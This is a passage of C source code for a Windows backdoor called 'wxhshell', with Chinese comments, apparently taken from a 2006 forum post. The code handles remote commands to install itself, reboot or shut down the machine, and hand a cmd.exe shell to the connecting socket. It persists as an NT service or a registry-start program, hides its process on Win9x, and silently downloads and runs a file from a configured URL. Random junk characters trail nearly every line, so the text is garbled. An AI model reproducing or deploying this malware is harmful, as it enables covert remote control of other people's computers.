  } Nm?^cR5r  
  else { \?xM% (:<Q  
k H.dtg_  
    switch(cmd[0]) { A(FnU:  
  }=-0 DSLVj  
  // 帮助 YRu@; `  
  case '?': { cRT'?w`}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -5<[oBL;  
    break; |R}=HsYey  
  } >w S'z]T9  
  // 安装 k>($[;k|b  
  case 'i': { (P|[< Sd  
    if(Install()) @_+aX.,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  q+L'h8  
    else k1wIb']m]z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,s[%,ep`  
    break; >rd#,r  
    } aK_5@8+ZD  
  // 卸载 F)^0R%{C  
  case 'r': { :21d  
    if(Uninstall()) Vu$m1,/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 28!C#.(h  
    else AP&//b,^M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CP7dn/  
    break; B>53+GyMV  
    } ok:uTeJI  
  // 显示 wxhshell 所在路径 S1QMS  
  case 'p': { uM2@&)u  
    char svExeFile[MAX_PATH]; g:Hj1!'  
    strcpy(svExeFile,"\n\r"); {MgRi 7  
      strcat(svExeFile,ExeFile); b84l`J  
        send(wsh,svExeFile,strlen(svExeFile),0); yvd)pH<a2  
    break; 5BVvT `<  
    } Q~N,QMr)k&  
  // 重启 981-[ga `Y  
  case 'b': { -<#) ]um  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N"70P/  
    if(Boot(REBOOT)) F 3|^b{'zO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4aXIRu%#7  
    else { 1/}H 0\9'  
    closesocket(wsh); >#]A2,  
    ExitThread(0); bU=Utniq  
    } !d72f8@9  
    break; enQ*uMKd^  
    } =QqH`.3  
  // 关机 6<lo0PQ"Z  
  case 'd': { x92^0cMf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y]h0c<NP  
    if(Boot(SHUTDOWN)) l2 .S^S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `2.c=,S{  
    else { 1VJ${\H]  
    closesocket(wsh); pD<w@2K  
    ExitThread(0); ;R?@ D]  
    } 0AB a&'h  
    break; p'jc=bL E  
    } =5|7S&{  
  // 获取shell U=n7RPw  
  case 's': { <,} h8;Fr  
    CmdShell(wsh); xC`!uPk/pL  
    closesocket(wsh); ,L<JG  
    ExitThread(0); X*2W4udF  
    break; cH5i420;aO  
  } f[o~d`z  
  // 退出 N~)-\T:ap  
  case 'x': { `zQuhD 8W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $TIeeTB  
    CloseIt(wsh); 2) X#&IE  
    break; .6wPpLG?{  
    } \g}]u(zg%  
  // 离开 U6.aoqb%  
  case 'q': { &4?&tGi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]C \+b <  
    closesocket(wsh); )?rq8VO  
    WSACleanup(); B>2R-pa4~  
    exit(1); Q"&Mr+  
    break; V*?cMJ_G  
        } F^%w%E\  
  } _b&|0j:Ud  
  } ~,)jZ-fw  
6W i n!4  
  // 提示信息 DDrR9}k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iH(7.?.r  
} qAjtvc2  
  } SXL3>-Z E  
{$frR "K  
  return; 2`=jKt  
} YC6T0m  
SzW;Yb"#^k  
// shell模块句柄 jq~`rE h9  
int CmdShell(SOCKET sock) -`L`kL<  
{ l(>6Yq  
STARTUPINFO si; a{8a[z  
ZeroMemory(&si,sizeof(si)); Sz0PZtJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _o~ pVBl/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kt yplo#F  
PROCESS_INFORMATION ProcessInfo; i~u4v3r=  
char cmdline[]="cmd"; ^to*ET{0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o5Oig  
  return 0; -E7mt`:d  
} _pdKcE\X  
I\)`,w  
// 自身启动模式 KXt8IMP_"y  
int StartFromService(void) %vmd2}dA  
{ A?YYR%o%'  
typedef struct 3BM z{ny=  
{ p $Tk;;wm  
  DWORD ExitStatus; j97+'AKX  
  DWORD PebBaseAddress; ^|/mn!7wD  
  DWORD AffinityMask; %1#\LRA(  
  DWORD BasePriority; Y:\msq1xp  
  ULONG UniqueProcessId; mEY#QN[eq  
  ULONG InheritedFromUniqueProcessId; pBqf+}g4  
}   PROCESS_BASIC_INFORMATION; s<k[<  
1Yb&E7j  
PROCNTQSIP NtQueryInformationProcess; J*B-*6O44  
S`-I-VS=L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #BRIp(65-6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O=Su E/q  
kQ+y9@=/g  
  HANDLE             hProcess; PZ]tl  
  PROCESS_BASIC_INFORMATION pbi; 5_9`v@-4_  
}3z3GU8Q-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X'OpR   
  if(NULL == hInst ) return 0; k0Vri$x  
J jAxNviG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WuK<?1meN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V!:!c]8F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e:G~P u`  
> .wZEQ6QK  
  if (!NtQueryInformationProcess) return 0; 3Zp<#  
<#0i*PM_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qa2h#0j  
  if(!hProcess) return 0; !oz{XWE  
UBd+,]"f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0AM_D >fH  
FVXsu!R  
  CloseHandle(hProcess); +yL;?+s>=  
zgjg#|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;+75"=[YT  
if(hProcess==NULL) return 0; 2IYzc3Z{9  
g9C ; JmU  
HMODULE hMod; "leSQ  
char procName[255]; j*3;G+  
unsigned long cbNeeded; S9dx rm?  
rmg\Pa8W>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,i_+Z |Ls  
;f%@s1u  
  CloseHandle(hProcess); z83v J*.  
$:u*)&"t|  
if(strstr(procName,"services")) return 1; // 以服务启动 YKe&Ph.  
-mJs0E*g  
  return 0; // 注册表启动 QFnuu-82"  
} XL*M#Jx  
}8#olZ/(q  
// 主模块 *(x.egORd  
int StartWxhshell(LPSTR lpCmdLine) ^fF#Ej1  
{ JpXv+V  
  SOCKET wsl; xOkduk]  
BOOL val=TRUE; D5"5`w=C  
  int port=0; $#V'm{Hh  
  struct sockaddr_in door; 4&E"{d >  
5 3pW:`  
  if(wscfg.ws_autoins) Install(); &S="]*Z  
_qB ._  
port=atoi(lpCmdLine); Zv yZ5UA  
B~:yM1f@u4  
if(port<=0) port=wscfg.ws_port; 4j3q69TZR  
'bbw0aB4  
  WSADATA data; bg~CV&]M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DT-.Gdb8  
V_3oAu54s{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [Fh YQI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +c8`N'~  
  door.sin_family = AF_INET; |k~AGc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [>NMuwtG  
  door.sin_port = htons(port); %Za}q]?  
GkOk.9Y,5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =Ji[ ;wy@  
closesocket(wsl); .$~3RjM  
return 1; i?^L",[  
} 2wpJ)t*PF  
}/J"/ T  
  if(listen(wsl,2) == INVALID_SOCKET) { e\~nqKCb  
closesocket(wsl); huqtk4u  
return 1; A^}#  
} ql9n`?Q  
  Wxhshell(wsl); dg.1{6HM  
  WSACleanup(); [xGwqa03  
gI7*zR4D  
return 0; o;c"-^>  
(pH)QG  
} :G6CWE  
Fepsa;\sU  
// 以NT服务方式启动 W9l ](Ow  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;tQc{8O6L  
{ <IWg]AJT :  
DWORD   status = 0; bR3Crz(9G  
  DWORD   specificError = 0xfffffff; i).Vu}W#S  
x((u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yoGG[l2k>s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; & *tL)qKDc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =9TwBr.CJ  
  serviceStatus.dwWin32ExitCode     = 0; DD/B\  
  serviceStatus.dwServiceSpecificExitCode = 0; 7a>+ma\  
  serviceStatus.dwCheckPoint       = 0; W7C1\'T  
  serviceStatus.dwWaitHint       = 0; N!.o`4 "z  
]ovtH .y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =WUNBav  
  if (hServiceStatusHandle==0) return; HG /fp<[   
-pJ\_u/&%`  
status = GetLastError(); TgJ+:^+0  
  if (status!=NO_ERROR) Yv=L'0K&  
{ :UT \L2 q=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U _pPI$ =  
    serviceStatus.dwCheckPoint       = 0; OfrzmL<K  
    serviceStatus.dwWaitHint       = 0; nYyKz Rz  
    serviceStatus.dwWin32ExitCode     = status; H6Zo|n  
    serviceStatus.dwServiceSpecificExitCode = specificError; S.[L?uE~F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B _ J2Bf  
    return; 6 JI8l`S  
  } ;a|%W4"  
0++RxYFCL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ` C d!  
  serviceStatus.dwCheckPoint       = 0; ~_0XG0oA  
  serviceStatus.dwWaitHint       = 0; 2iKteJ@h)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fhn$~8[_A  
} V.8Vy1$  
dB~A4pZa  
// 处理NT服务事件,比如:启动、停止 ;^JMX4[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3\ ]j4*i!  
{ cRs\()W  
switch(fdwControl) $$Tf1hIg  
{ DI(XB6  
case SERVICE_CONTROL_STOP: .|CoueH  
  serviceStatus.dwWin32ExitCode = 0; f#Ud=& >j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o5Rv xGN  
  serviceStatus.dwCheckPoint   = 0; x?rd9c  
  serviceStatus.dwWaitHint     = 0; / \qzTo  
  { .Erv\lv*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EPwU{*F  
  } VI|2vV6?  
  return; Mq\?J{E  
case SERVICE_CONTROL_PAUSE: G_qt~U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QeT~s5 H  
  break; <8~c7kT'  
case SERVICE_CONTROL_CONTINUE: _9"ZMUZ{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L{1[:a)']B  
  break; $ r-rIW5\  
case SERVICE_CONTROL_INTERROGATE: 6Ik v}q_j  
  break; hVyeHbx  
}; ``]NB=N}{1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ltrti.&  
} w_"-rGV  
uzb|yV'B  
// 标准应用程序主函数 } PL{i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [xb'73  
{ t%,:L.?J#  
p<pGqW  
// 获取操作系统版本 bz 7?F!  
OsIsNt=GetOsVer(); OZz/ip-!lc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zcw <USF8  
fHwS12SB  
  // 从命令行安装 OK-*TPrc  
  if(strpbrk(lpCmdLine,"iI")) Install(); T+gH38!e  
XxeP;}  
  // 下载执行文件 jq#`cay!  
if(wscfg.ws_downexe) { )b%zYD9p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QxbG-B^)=  
  WinExec(wscfg.ws_filenam,SW_HIDE); x8c>2w;6x^  
} PYNY1 |3  
vo:h"ti  
if(!OsIsNt) { *6][[)(  
// 如果时win9x,隐藏进程并且设置为注册表启动 <Vt"%C  
HideProc(); Myn51pczl  
StartWxhshell(lpCmdLine); F( /Ka@  
} X]2x0  
else ,*9gy$  
  if(StartFromService()) zgGJ<=G.  
  // 以服务方式启动 YADXXQ"  
  StartServiceCtrlDispatcher(DispatchTable); |}8SjZcQW  
else BbCW3!(  
  // 普通方式启动  jrS$!cEo  
  StartWxhshell(lpCmdLine); sUQ Q/F6  
,* \s  
return 0; T tWzjt  
}
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只看该作者 1 发表于: 2006-10-10
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